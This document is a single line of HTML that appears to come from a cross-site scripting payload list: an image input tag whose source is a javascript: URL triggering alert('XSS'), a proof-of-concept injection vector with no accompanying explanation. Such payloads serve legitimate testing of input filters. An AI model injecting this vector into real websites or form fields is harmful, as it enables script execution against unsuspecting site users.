<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">